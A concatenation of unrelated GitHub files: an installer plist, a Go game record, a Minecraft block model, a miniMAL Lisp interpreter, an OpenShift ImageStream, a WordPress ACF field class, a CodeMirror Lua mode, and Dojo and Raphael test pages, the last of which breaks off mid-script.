<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewInstallationController</string>
<key>INSTALLER_PLUGIN</key>
<string>Install</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
<dict>
<key>ICPRESENTATION_CHAPTER_VIEW_CONTROLLER_CLASS</key>
<string>ICPresentationViewSummaryController</string>
<key>INSTALLER_PLUGIN</key>
<string>Summary</string>
<key>LIST_TITLE_KEY</key>
<string>InstallerSectionTitle</string>
</dict>
</array>
<key>INTRODUCTION</key>
<dict>
<key>LOCALIZATIONS</key>
<array/>
</dict>
<key>LICENSE</key>
<dict>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<dict>
<key>PATH</key>
<string>license_MIT.txt</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
</dict>
</array>
<key>MODE</key>
<integer>0</integer>
</dict>
<key>README</key>
<dict>
<key>LOCALIZATIONS</key>
<array/>
</dict>
<key>SUMMARY</key>
<dict>
<key>LOCALIZATIONS</key>
<array/>
</dict>
<key>TITLE</key>
<dict>
<key>LOCALIZATIONS</key>
<array>
<dict>
<key>LANGUAGE</key>
<string>English</string>
<key>VALUE</key>
<string>AudioGridder</string>
</dict>
</array>
</dict>
</dict>
<key>PROJECT_REQUIREMENTS</key>
<dict>
<key>LIST</key>
<array/>
<key>RESOURCES</key>
<array/>
<key>ROOT_VOLUME_ONLY</key>
<false/>
</dict>
<key>PROJECT_SETTINGS</key>
<dict>
<key>BUILD_FORMAT</key>
<integer>0</integer>
<key>BUILD_PATH</key>
<dict>
<key>PATH</key>
<string>build</string>
<key>PATH_TYPE</key>
<integer>1</integer>
</dict>
<key>EXCLUDED_FILES</key>
<array>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.DS_Store</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove .DS_Store files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove ".DS_Store" files created by the Finder.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.pbdevelopment</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove .pbdevelopment files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove ".pbdevelopment" files created by ProjectBuilder or Xcode.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>CVS</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.cvsignore</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.cvspass</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.svn</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.git</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>.gitignore</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove SCM metadata</string>
<key>PROXY_TOOLTIP</key>
<string>Remove helper files and folders used by the CVS, SVN or Git Source Code Management systems.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>classes.nib</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>designable.db</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>info.nib</string>
<key>TYPE</key>
<integer>0</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Optimize nib files</string>
<key>PROXY_TOOLTIP</key>
<string>Remove "classes.nib", "info.nib" and "designable.nib" files within .nib bundles.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>PATTERNS_ARRAY</key>
<array>
<dict>
<key>REGULAR_EXPRESSION</key>
<false/>
<key>STRING</key>
<string>Resources Disabled</string>
<key>TYPE</key>
<integer>1</integer>
</dict>
</array>
<key>PROTECTED</key>
<true/>
<key>PROXY_NAME</key>
<string>Remove Resources Disabled folders</string>
<key>PROXY_TOOLTIP</key>
<string>Remove "Resources Disabled" folders.</string>
<key>STATE</key>
<true/>
</dict>
<dict>
<key>SEPARATOR</key>
<true/>
</dict>
</array>
<key>NAME</key>
<string>AudioGridderPlugin</string>
<key>PAYLOAD_ONLY</key>
<false/>
<key>TREAT_MISSING_PRESENTATION_DOCUMENTS_AS_WARNING</key>
<false/>
</dict>
</dict>
<key>TYPE</key>
<integer>0</integer>
<key>VERSION</key>
<integer>2</integer>
</dict>
</plist>
|
{
"pile_set_name": "Github"
}
|
(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]
SZ[19]
GN[]
DT[2018-06-10]
PB[无心爱棋]BR[9段]
PW[金毛测试]WR[9段]
KM[750]HA[0]RU[Japanese]RE[W+R]TM[60]TC[10]TT[15]
;B[pd];W[dp];B[qp];W[dd];B[np];W[qc];B[qd];W[pc];B[nc];W[oc];B[od]
;W[nb];B[fq];W[pi];B[rc];W[rb];B[oi];W[ph];B[oh];W[og];B[pg];W[qg]
;B[pf];W[oj];B[pj];W[qj];B[pk];W[of];B[nj];W[qf];B[pe];W[qk];B[ok]
;W[nd];B[ne];W[mc];B[re];W[qm];B[le];W[cn];B[dq];W[cq];B[cr];W[eq]
;B[dr];W[ep];B[er];W[go];B[hp];W[ho];B[ip];W[fp];B[gp];W[io];B[jp]
;W[cg];B[dh];W[dg];B[fh];W[eg];B[fk];W[eh];B[ei];W[hk];B[gi];W[fg]
;B[ij];W[hh];B[eb];W[dc];B[hc];W[jc];B[jb];W[kb];B[fc];W[ib];B[ic]
;W[jd];B[hb];W[ja];B[cb];W[db];B[da];W[bc];B[cc];W[bd];B[ie];W[kf]
;B[mg];W[oq];B[nq];W[op];B[qn];W[rn];B[oo];W[nr];B[mr];W[pr];B[ro]
;W[pn];B[po];W[qo];B[on];W[mq];B[ns];W[or];B[lr];W[jo];B[qn];W[kq]
;B[kp];W[lq];B[rm];W[rl];B[sn];W[rh];B[kr];W[no];B[mp];W[lp];B[mo]
;W[lo];B[mn];W[jq];B[jr];W[iq];B[hr];W[ln];B[gr];W[mm];B[nn];W[gb]
;B[ga];W[ee];B[bb];W[ab];B[gf];W[ig];B[if];W[hj];B[cm];W[ge];B[he]
;W[cl];B[dm];W[bm];B[dl];W[bl];B[hi];W[ii];B[ji];W[ih];B[jj];W[kh]
;B[hm];W[ik];B[ke];W[jk];B[kk];W[kl];B[lj];W[gg];B[dn];W[co];B[fn]
;W[dj];B[hl];W[im];B[fo];W[gk];B[dk];W[ej];B[fj];W[cj];B[gl];W[lk]
;B[kj];W[il];B[jm];W[jn];B[hn];W[mk];B[lm];W[km];B[ko];W[kn];B[ml]
;W[ll];B[nl];W[gn])
|
{
"pile_set_name": "Github"
}
|
{
"credit": "Made with Blockbench",
"parent": "block/block",
"textures": {
"all": "block/sea_pickle",
"particle": "block/sea_pickle"
},
"elements": [
{
"from": [6, 0, 6],
"to": [10, 6, 10],
"faces": {
"north": {"uv": [4, 5, 8, 11], "texture": "#all"},
"east": {"uv": [12, 5, 16, 11], "texture": "#all"},
"south": {"uv": [0, 5, 4, 11], "texture": "#all"},
"west": {"uv": [8, 5, 12, 11], "texture": "#all"},
"up": {"uv": [4, 1, 8, 5], "texture": "#all"},
"down": {"uv": [8, 1, 12, 5], "texture": "#all", "cullface": "down"}
}
},
{
"from": [6, 5.95, 6],
"to": [10, 5.95, 10],
"faces": {
"up": {"uv": [8, 1, 12, 5], "texture": "#all"}
}
},
{
"from": [7.5, 5.2, 8],
"to": [8.5, 8.7, 8],
"shade": false,
"rotation": {"angle": 45, "axis": "y", "origin": [8, 8, 8], "rescale": true},
"faces": {
"north": {"uv": [1, 0, 3, 5], "texture": "#all"},
"south": {"uv": [13, 0, 15, 5], "texture": "#all"}
}
},
{
"from": [8, 5.2, 7.5],
"to": [8, 8.7, 8.5],
"shade": false,
"rotation": {"angle": 45, "axis": "y", "origin": [8, 8, 8], "rescale": true},
"faces": {
"east": {"uv": [13, 0, 15, 5], "texture": "#all"},
"west": {"uv": [1, 0, 3, 5], "texture": "#all"}
}
}
],
"display": {
"thirdperson_righthand": {
"translation": [0, 3, 1],
"scale": [0.55, 0.55, 0.55]
},
"thirdperson_lefthand": {
"translation": [0, 3, 1],
"scale": [0.55, 0.55, 0.55]
},
"firstperson_righthand": {
"rotation": [0, 50, 0],
"translation": [0, 4.5, 0],
"scale": [0.6, 0.6, 0.6]
},
"firstperson_lefthand": {
"rotation": [0, 50, 0],
"translation": [0, 4.5, 0],
"scale": [0.6, 0.6, 0.6]
},
"ground": {
"translation": [0, 2, 0],
"scale": [0.5, 0.5, 0.5]
},
"gui": {
"rotation": [30, 45, 0],
"translation": [0, 2.5, 0]
},
"head": {
"rotation": [0, 180, 0],
"translation": [0, 13, 7]
},
"fixed": {
"translation": [0, 4, -0.75]
}
}
}
|
{
"pile_set_name": "Github"
}
|
["do",
["load", ["`", "miniMAL-core.json"]],
["load", ["`", "types.json"]],
["load", ["`", "reader.json"]],
["load", ["`", "printer.json"]],
["load", ["`", "env.json"]],
["load", ["`", "core.json"]],
["def", "READ", ["fn", ["strng"], ["read-str", "strng"]]],
["def", "starts-with", ["fn", ["ast", "sym"],
["and", ["not", ["empty?", "ast"]],
["let", ["a0", ["first", "ast"]],
["and", ["symbol?", "a0"],
["=", "sym", ["get", "a0", ["`", "val"]]]]]]]],
["def", "quasiquote-loop", ["fn", ["xs"],
["if", ["empty?", "xs"],
["list"],
["let", ["elt", ["first", "xs"],
"acc", ["quasiquote-loop", ["rest", "xs"]]],
["if", ["and", ["list?", "elt"],
["starts-with", "elt", ["`", "splice-unquote"]]],
["list", ["symbol", ["`", "concat"]], ["nth", "elt", 1], "acc"],
["list", ["symbol", ["`", "cons"]], ["quasiquote", "elt"], "acc"]]]]]],
["def", "quasiquote", ["fn", ["ast"],
["if", ["list?", "ast"],
["if", ["starts-with", "ast", ["`", "unquote"]],
["nth", "ast", 1],
["quasiquote-loop", "ast"]],
["if", ["vector?", "ast"],
["list", ["symbol", ["`", "vec"]], ["quasiquote-loop", "ast"]],
["if", ["or", ["map?", "ast"], ["symbol?", "ast"]],
["list", ["symbol", ["`", "quote"]], "ast"],
"ast"]]]]],
["def", "macro?", ["fn", ["ast", "env"],
["and", ["list?", "ast"],
["symbol?", ["first", "ast"]],
["not", ["=", null, ["env-find", "env", ["first", "ast"]]]],
["let", ["fn", ["env-get", "env", ["first", "ast"]]],
["and", ["malfunc?", "fn"],
["get", "fn", ["`", "macro?"]]]]]]],
["def", "macroexpand", ["fn", ["ast", "env"],
["if", ["macro?", "ast", "env"],
["let", ["mac", ["get", ["env-get", "env", ["first", "ast"]], ["`", "fn"]]],
["macroexpand", ["apply", "mac", ["rest", "ast"]], "env"]],
"ast"]]],
["def", "eval-ast", ["fn", ["ast", "env"],
["if", ["symbol?", "ast"],
["env-get", "env", "ast"],
["if", ["list?", "ast"],
["map", ["fn", ["x"], ["EVAL", "x", "env"]], "ast"],
["if", ["vector?", "ast"],
["vectorl", ["map", ["fn", ["x"], ["EVAL", "x", "env"]], "ast"]],
["if", ["map?", "ast"],
["let", ["new-hm", ["hash-map"]],
["do",
["map", ["fn", ["k"], ["set", "new-hm",
["EVAL", "k", "env"],
["EVAL", ["get", "ast", "k"], "env"]]],
["keys", "ast"]],
"new-hm"]],
"ast"]]]]]],
["def", "LET", ["fn", ["env", "args"],
["if", [">", ["count", "args"], 0],
["do",
["env-set", "env", ["nth", "args", 0],
["EVAL", ["nth", "args", 1], "env"]],
["LET", "env", ["rest", ["rest", "args"]]]]]]],
["def", "EVAL", ["fn", ["ast", "env"],
["if", ["not", ["list?", "ast"]],
["eval-ast", "ast", "env"],
["let", ["ast", ["macroexpand", "ast", "env"]],
["if", ["not", ["list?", "ast"]],
["eval-ast", "ast", "env"],
["if", ["empty?", "ast"],
"ast",
["let", ["a0", ["get", ["first", "ast"], ["`", "val"]]],
["if", ["=", ["`", "def!"], "a0"],
["env-set", "env", ["nth", "ast", 1],
["EVAL", ["nth", "ast", 2], "env"]],
["if", ["=", ["`", "let*"], "a0"],
["let", ["let-env", ["env-new", "env"]],
["do",
["LET", "let-env", ["nth", "ast", 1]],
["EVAL", ["nth", "ast", 2], "let-env"]]],
["if", ["=", ["`", "quote"], "a0"],
["nth", "ast", 1],
["if", ["=", ["`", "quasiquoteexpand"], "a0"],
["quasiquote", ["nth", "ast", 1]],
["if", ["=", ["`", "quasiquote"], "a0"],
["EVAL", ["quasiquote", ["nth", "ast", 1]], "env"],
["if", ["=", ["`", "defmacro!"], "a0"],
["let", ["func", ["EVAL", ["nth", "ast", 2], "env"]],
["do",
["set", "func", ["`", "macro?"], true],
["env-set", "env", ["nth", "ast", 1], "func"]]],
["if", ["=", ["`", "macroexpand"], "a0"],
["macroexpand", ["nth", "ast", 1], "env"],
["if", ["=", ["`", "do"], "a0"],
["do",
["eval-ast", ["slice", "ast", 1, ["-", ["count", "ast"], 1]], "env"],
["EVAL", ["nth", "ast", ["-", ["count", "ast"], 1]], "env"]],
["if", ["=", ["`", "if"], "a0"],
["let", ["cond", ["EVAL", ["nth", "ast", 1], "env"]],
["if", ["or", ["=", "cond", null], ["=", "cond", false]],
["if", [">", ["count", "ast"], 3],
["EVAL", ["nth", "ast", 3], "env"],
null],
["EVAL", ["nth", "ast", 2], "env"]]],
["if", ["=", ["`", "fn*"], "a0"],
["malfunc",
["fn", ["&", "args"],
["let", ["e", ["env-new", "env", ["nth", "ast", 1], "args"]],
["EVAL", ["nth", "ast", 2], "e"]]],
["nth", "ast", 2], "env", ["nth", "ast", 1]],
["let", ["el", ["eval-ast", "ast", "env"],
"f", ["first", "el"],
"args", ["rest", "el"]],
["if", ["malfunc?", "f"],
["EVAL", ["get", "f", ["`", "ast"]],
["env-new", ["get", "f", ["`", "env"]],
["get", "f", ["`", "params"]],
"args"]],
["apply", "f", "args"]]]]]]]]]]]]]]]]]]]],
["def", "PRINT", ["fn", ["exp"],
["pr-str", "exp", true]]],
["def", "repl-env", ["env-new"]],
["def", "rep", ["fn", ["strng"],
["try",
["PRINT", ["EVAL", ["READ", "strng"], "repl-env"]],
["catch", "exc",
["str", ["`", "Error: "],
["if", ["isa", "exc", "Error"],
[".", "exc", ["`", "toString"]],
["pr-str", "exc", true]]]]]]],
["`", "core.mal: defined using miniMAL"],
["map", ["fn", ["k"], ["env-set", "repl-env",
["symbol", "k"],
["get", "core-ns", "k"]]],
["keys", "core-ns"]],
["env-set", "repl-env", ["symbol", ["`", "eval"]],
["fn", ["ast"], ["EVAL", "ast", "repl-env"]]],
["env-set", "repl-env", ["symbol", ["`", "*ARGV*"]],
["slice", "ARGS", 1]],
["`", "core.mal: defined using mal itself"],
["rep", ["`", "(def! not (fn* (a) (if a false true)))"]],
["rep", ["`", "(def! load-file (fn* (f) (eval (read-string (str \"(do \" (slurp f) \"\nnil)\")))))"]],
["rep", ["`", "(defmacro! cond (fn* (& xs) (if (> (count xs) 0) (list 'if (first xs) (if (> (count xs) 1) (nth xs 1) (throw \"odd number of forms to cond\")) (cons 'cond (rest (rest xs)))))))"]],
["if", ["not", ["empty?", "ARGS"]],
["rep", ["str", ["`", "(load-file \""], ["get", "ARGS", 0], ["`", "\")"]]],
["repl", ["`", "user> "], "rep"]],
null
]
|
{
"pile_set_name": "Github"
}
|
{
"kind": "ImageStream",
"apiVersion": "v1",
"metadata": {
"name": "golang",
"creationTimestamp": null,
"annotations": {
"openshift.io/display-name": "Go"
}
},
"spec": {
"lookupPolicy": {
"local": false
},
"tags": [
{
"name": "latest",
"annotations": {
"description": "Build and run Go applications on UBI. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.\n\nWARNING: By selecting this tag, your application will automatically update to use the latest version of Go available on OpenShift, including major version updates.",
"iconClass": "icon-go-gopher",
"openshift.io/display-name": "Go (Latest)",
"openshift.io/provider-display-name": "Red Hat, Inc.",
"sampleRepo": "https://github.com/sclorg/golang-ex.git",
"supports": "golang",
"tags": "builder,golang,go"
},
"from": {
"kind": "ImageStreamTag",
"name": "1.13.4-ubi8"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.13.4-ubi8",
"annotations": {
"description": "Build and run Go applications on UBI 8. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.",
"iconClass": "icon-go-gopher",
"openshift.io/display-name": "Go 1.13.4 (UBI 8)",
"openshift.io/provider-display-name": "Red Hat, Inc.",
"sampleRepo": "https://github.com/sclorg/golang-ex.git",
"supports": "golang",
"tags": "builder,golang,go"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/ubi8/go-toolset:1.13.4"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
},
{
"name": "1.13.4-ubi7",
"annotations": {
"description": "Build and run Go applications on UBI 7. For more information about using this builder image, including OpenShift considerations, see https://github.com/sclorg/golang-container/blob/master/README.md.",
"iconClass": "icon-go-gopher",
"openshift.io/display-name": "Go 1.13.4 (UBI 7)",
"openshift.io/provider-display-name": "Red Hat, Inc.",
"sampleRepo": "https://github.com/sclorg/golang-ex.git",
"supports": "golang",
"tags": "builder,golang,go"
},
"from": {
"kind": "DockerImage",
"name": "registry.redhat.io/ubi7/go-toolset:1.13.4"
},
"generation": null,
"importPolicy": {},
"referencePolicy": {
"type": "Local"
}
}
]
},
"status": {
"dockerImageRepository": ""
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
if( ! class_exists('acf_field_button_group') ) :
class acf_field_button_group extends acf_field {
/**
* initialize()
*
* This function will setup the field type data
*
* @date 18/9/17
* @since 5.6.3
*
* @param n/a
* @return n/a
*/
function initialize() {
// vars
$this->name = 'button_group';
$this->label = __("Button Group",'acf');
$this->category = 'choice';
$this->defaults = array(
'choices' => array(),
'default_value' => '',
'allow_null' => 0,
'return_format' => 'value',
'layout' => 'horizontal',
);
}
/**
* render_field()
*
* Creates the field's input HTML
*
* @date 18/9/17
* @since 5.6.3
*
* @param array $field The field settings array
* @return n/a
*/
function render_field( $field ) {
// vars
$html = '';
$selected = null;
$buttons = array();
$value = esc_attr( $field['value'] );
// bail ealrly if no choices
if( empty($field['choices']) ) return;
// buttons
foreach( $field['choices'] as $_value => $_label ) {
// checked
$checked = ( $value === esc_attr($_value) );
if( $checked ) $selected = true;
// append
$buttons[] = array(
'name' => $field['name'],
'value' => $_value,
'label' => $_label,
'checked' => $checked
);
}
// maybe select initial value
if( !$field['allow_null'] && $selected === null ) {
$buttons[0]['checked'] = true;
}
// div
$div = array( 'class' => 'acf-button-group' );
if( $field['layout'] == 'vertical' ) { $div['class'] .= ' -vertical'; }
if( $field['class'] ) { $div['class'] .= ' ' . $field['class']; }
if( $field['allow_null'] ) { $div['data-allow_null'] = 1; }
// hdden input
$html .= acf_get_hidden_input( array('name' => $field['name']) );
// open
$html .= '<div ' . acf_esc_attr($div) . '>';
// loop
foreach( $buttons as $button ) {
// checked
if( $button['checked'] ) {
$button['checked'] = 'checked';
} else {
unset($button['checked']);
}
// append
$html .= acf_get_radio_input( $button );
}
// close
$html .= '</div>';
// return
echo $html;
}
/**
* render_field_settings()
*
* Creates the field's settings HTML
*
* @date 18/9/17
* @since 5.6.3
*
* @param array $field The field settings array
* @return n/a
*/
function render_field_settings( $field ) {
// encode choices (convert from array)
$field['choices'] = acf_encode_choices($field['choices']);
// choices
acf_render_field_setting( $field, array(
'label' => __('Choices','acf'),
'instructions' => __('Enter each choice on a new line.','acf') . '<br /><br />' . __('For more control, you may specify both a value and label like this:','acf'). '<br /><br />' . __('red : Red','acf'),
'type' => 'textarea',
'name' => 'choices',
));
// allow_null
acf_render_field_setting( $field, array(
'label' => __('Allow Null?','acf'),
'instructions' => '',
'name' => 'allow_null',
'type' => 'true_false',
'ui' => 1,
));
// default_value
acf_render_field_setting( $field, array(
'label' => __('Default Value','acf'),
'instructions' => __('Appears when creating a new post','acf'),
'type' => 'text',
'name' => 'default_value',
));
// layout
acf_render_field_setting( $field, array(
'label' => __('Layout','acf'),
'instructions' => '',
'type' => 'radio',
'name' => 'layout',
'layout' => 'horizontal',
'choices' => array(
'horizontal' => __("Horizontal",'acf'),
'vertical' => __("Vertical",'acf'),
)
));
// return_format
acf_render_field_setting( $field, array(
'label' => __('Return Value','acf'),
'instructions' => __('Specify the returned value on front end','acf'),
'type' => 'radio',
'name' => 'return_format',
'layout' => 'horizontal',
'choices' => array(
'value' => __('Value','acf'),
'label' => __('Label','acf'),
'array' => __('Both (Array)','acf')
)
));
}
/*
* update_field()
*
* This filter is appied to the $field before it is saved to the database
*
* @date 18/9/17
* @since 5.6.3
*
* @param array $field The field array holding all the field options
* @return $field
*/
function update_field( $field ) {
return acf_get_field_type('radio')->update_field( $field );
}
/*
* load_value()
*
* This filter is appied to the $value after it is loaded from the db
*
* @date 18/9/17
* @since 5.6.3
*
* @param mixed $value The value found in the database
* @param mixed $post_id The post ID from which the value was loaded from
* @param array $field The field array holding all the field options
* @return $value
*/
function load_value( $value, $post_id, $field ) {
return acf_get_field_type('radio')->load_value( $value, $post_id, $field );
}
/*
* translate_field
*
* This function will translate field settings
*
* @date 18/9/17
* @since 5.6.3
*
* @param array $field The field array holding all the field options
* @return $field
*/
function translate_field( $field ) {
return acf_get_field_type('radio')->translate_field( $field );
}
/*
* format_value()
*
* This filter is appied to the $value after it is loaded from the db and before it is returned to the template
*
* @date 18/9/17
* @since 5.6.3
*
* @param mixed $value The value found in the database
* @param mixed $post_id The post ID from which the value was loaded from
* @param array $field The field array holding all the field options
* @return $value
*/
function format_value( $value, $post_id, $field ) {
return acf_get_field_type('radio')->format_value( $value, $post_id, $field );
}
}
// initialize
acf_register_field_type( 'acf_field_button_group' );
endif; // class_exists check
?>
|
{
"pile_set_name": "Github"
}
|
<html>
<head>
<title>Path test</title>
<style type="text/css">
.pixel {
position: absolute;
width: 1px;
height: 1px;
overflow: hidden;
background: #000;
}
.red { background: red; }
.blue { background: blue; }
</style>
<script language="JavaScript" type="text/javascript">
// Dojo configuration
djConfig = {
isDebug: true
};
</script>
<script language="JavaScript" type="text/javascript"
src="../../dojo.js"></script>
<script language="JavaScript" type="text/javascript">
dojo.require("dojo.math.*");
function drawCurve(curve,steps,className) {
if(!className) className = "pixel";
if(!steps) steps = 100;
this.pixels = new Array(steps)
for(var i=0;i<steps;i++) {
var pt = curve.getValue(i/steps);
this.pixels[i] = document.createElement("div");
this.pixels[i].className = className;
this.pixels[i].style.left = pt[0];
this.pixels[i].style.top = pt[1];
document.body.appendChild(this.pixels[i]);
}
}
function init(){
var c = dojo.math.curves;
var p = new c.Path();
p.add(new c.Line([10,10], [100,100]), 5);
p.add(new c.Line([0,0], [20,0]), 2);
p.add(new c.CatmullRom([[0,0], [400,400], [200,200], [500,50]]), 50);
p.add(new c.Arc([0,0], [100,100]), 20);
p.add(new c.Arc([0,0], [100,100], true), 20);
drawCurve(p, 200, "pixel");
//drawCurve(new c.Line([0,250], [800,250]), 50, "pixel red");
//drawCurve(new c.Line([500,0], [500,600]), 50, "pixel red");
//drawCurve(new c.Arc([300,300], [700,200]), 50, "pixel");
//drawCurve(new c.Arc([200,200], [100,100], false), 50, "pixel blue");
}
dojo.addOnLoad(init);
</script>
</head>
<body>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
// LUA mode. Ported to CodeMirror 2 from Franciszek Wawrzak's
// CodeMirror 1 mode.
// highlights keywords, strings, comments (no leveling supported! ("[==[")), tokens, basic indenting
CodeMirror.defineMode("lua", function(config, parserConfig) {
var indentUnit = config.indentUnit;
function prefixRE(words) {
return new RegExp("^(?:" + words.join("|") + ")", "i");
}
function wordRE(words) {
return new RegExp("^(?:" + words.join("|") + ")$", "i");
}
var specials = wordRE(parserConfig.specials || []);
// long list of standard functions from lua manual
var builtins = wordRE([
"_G","_VERSION","assert","collectgarbage","dofile","error","getfenv","getmetatable","ipairs","load",
"loadfile","loadstring","module","next","pairs","pcall","print","rawequal","rawget","rawset","require",
"select","setfenv","setmetatable","tonumber","tostring","type","unpack","xpcall",
"coroutine.create","coroutine.resume","coroutine.running","coroutine.status","coroutine.wrap","coroutine.yield",
"debug.debug","debug.getfenv","debug.gethook","debug.getinfo","debug.getlocal","debug.getmetatable",
"debug.getregistry","debug.getupvalue","debug.setfenv","debug.sethook","debug.setlocal","debug.setmetatable",
"debug.setupvalue","debug.traceback",
"close","flush","lines","read","seek","setvbuf","write",
"io.close","io.flush","io.input","io.lines","io.open","io.output","io.popen","io.read","io.stderr","io.stdin",
"io.stdout","io.tmpfile","io.type","io.write",
"math.abs","math.acos","math.asin","math.atan","math.atan2","math.ceil","math.cos","math.cosh","math.deg",
"math.exp","math.floor","math.fmod","math.frexp","math.huge","math.ldexp","math.log","math.log10","math.max",
"math.min","math.modf","math.pi","math.pow","math.rad","math.random","math.randomseed","math.sin","math.sinh",
"math.sqrt","math.tan","math.tanh",
"os.clock","os.date","os.difftime","os.execute","os.exit","os.getenv","os.remove","os.rename","os.setlocale",
"os.time","os.tmpname",
"package.cpath","package.loaded","package.loaders","package.loadlib","package.path","package.preload",
"package.seeall",
"string.byte","string.char","string.dump","string.find","string.format","string.gmatch","string.gsub",
"string.len","string.lower","string.match","string.rep","string.reverse","string.sub","string.upper",
"table.concat","table.insert","table.maxn","table.remove","table.sort"
]);
var keywords = wordRE(["and","break","elseif","false","nil","not","or","return",
"true","function", "end", "if", "then", "else", "do",
"while", "repeat", "until", "for", "in", "local" ]);
var indentTokens = wordRE(["function", "if","repeat","do", "\\(", "{"]);
var dedentTokens = wordRE(["end", "until", "\\)", "}"]);
var dedentPartial = prefixRE(["end", "until", "\\)", "}", "else", "elseif"]);
function readBracket(stream) {
var level = 0;
while (stream.eat("=")) ++level;
stream.eat("[");
return level;
}
function normal(stream, state) {
var ch = stream.next();
if (ch == "-" && stream.eat("-")) {
if (stream.eat("[") && stream.eat("["))
return (state.cur = bracketed(readBracket(stream), "comment"))(stream, state);
stream.skipToEnd();
return "comment";
}
if (ch == "\"" || ch == "'")
return (state.cur = string(ch))(stream, state);
if (ch == "[" && /[\[=]/.test(stream.peek()))
return (state.cur = bracketed(readBracket(stream), "string"))(stream, state);
if (/\d/.test(ch)) {
stream.eatWhile(/[\w.%]/);
return "number";
}
if (/[\w_]/.test(ch)) {
stream.eatWhile(/[\w\\\-_.]/);
return "variable";
}
return null;
}
function bracketed(level, style) {
return function(stream, state) {
var curlev = null, ch;
while ((ch = stream.next()) != null) {
if (curlev == null) {if (ch == "]") curlev = 0;}
else if (ch == "=") ++curlev;
else if (ch == "]" && curlev == level) { state.cur = normal; break; }
else curlev = null;
}
return style;
};
}
function string(quote) {
return function(stream, state) {
var escaped = false, ch;
while ((ch = stream.next()) != null) {
if (ch == quote && !escaped) break;
escaped = !escaped && ch == "\\";
}
if (!escaped) state.cur = normal;
return "string";
};
}
return {
startState: function(basecol) {
return {basecol: basecol || 0, indentDepth: 0, cur: normal};
},
token: function(stream, state) {
if (stream.eatSpace()) return null;
var style = state.cur(stream, state);
var word = stream.current();
if (style == "variable") {
if (keywords.test(word)) style = "keyword";
else if (builtins.test(word)) style = "builtin";
else if (specials.test(word)) style = "variable-2";
}
if ((style != "comment") && (style != "string")){
if (indentTokens.test(word)) ++state.indentDepth;
else if (dedentTokens.test(word)) --state.indentDepth;
}
return style;
},
indent: function(state, textAfter) {
var closing = dedentPartial.test(textAfter);
return state.basecol + indentUnit * (state.indentDepth - (closing ? 1 : 0));
},
lineComment: "--",
blockCommentStart: "--[[",
blockCommentEnd: "]]"
};
});
CodeMirror.defineMIME("text/x-lua", "lua");
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE html>
<html>
<head>
<title>Raphael.Export Tests</title>
<link rel="stylesheet" href="qunit.css" type="text/css"/>
<style type="text/css">
#visual-tests {
font-family: Arial;
margin: 16px 16px;
}
.paper, .exported-paper {
border: 1px solid #ccc;
display: block;
float: left;
height: 240px;
margin-top: 16px;
margin-right: 8px;
width: 320px;
}
</style>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="qunit.js"></script>
<script type="text/javascript" src="raphael.js"></script>
<script type="text/javascript" src="tiger.js"></script>
<script type="text/javascript" src="../raphael.export.js"></script>
<script type="text/javascript">
$(function() {
module('toSVG()');
test('is defined', function() {
equal(typeof Raphael.fn.toSVG, 'function');
});
var paper = Raphael('raphael-paper');
paper.rect(50, 40, 50, 50)
.rotate(10)
.scale(1.2)
.translate(10, 10)
;
paper.circle(50, 40, 20);
paper.set(
paper.rect(50, 40, 50, 50)
